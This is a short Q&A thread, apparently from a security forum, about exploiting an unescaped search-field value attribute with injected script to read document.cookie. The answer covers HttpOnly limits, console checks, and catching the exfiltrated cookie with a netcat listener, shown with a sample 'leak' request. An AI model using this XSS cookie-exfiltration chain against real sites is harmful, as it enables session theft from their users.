I would like to run the following script inside an input tag when the page loads. I know how this can be fixed by using onfocus and autofocus. But how do I get the expression document.cookie in there?


My situation:

<input type="text" class="form-control" id="search" name="search" value="$_GET['search']" placeholder="keyword" required="">
  • 2
    why can't you just do it?
    – user253751
    Oct 20 '20 at 15:37
  • 1
    Have you tried it? What is the result? As it stands "how do I get it in there?" is unanswerable.
    – schroeder
    Oct 20 '20 at 15:38

You're code looks right, but it's possible that the cookies you're trying to access are HttpOnly which would not let you access them via javascript.

Confirm in Console

  1. document.cookie should return ""
  2. document.cookie = "username=John Doe"; to set a random cookie value.
  3. document.cookie should return "username=John Doe"
  4. Try your code and see if you get the John Doe cookie.

Receive Data

Easiest way to receive the exfiltrated data is with Netcat, see below.

% nc -l 8000
GET /hello.php?leak=username=John%20Doe HTTP/1.1

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.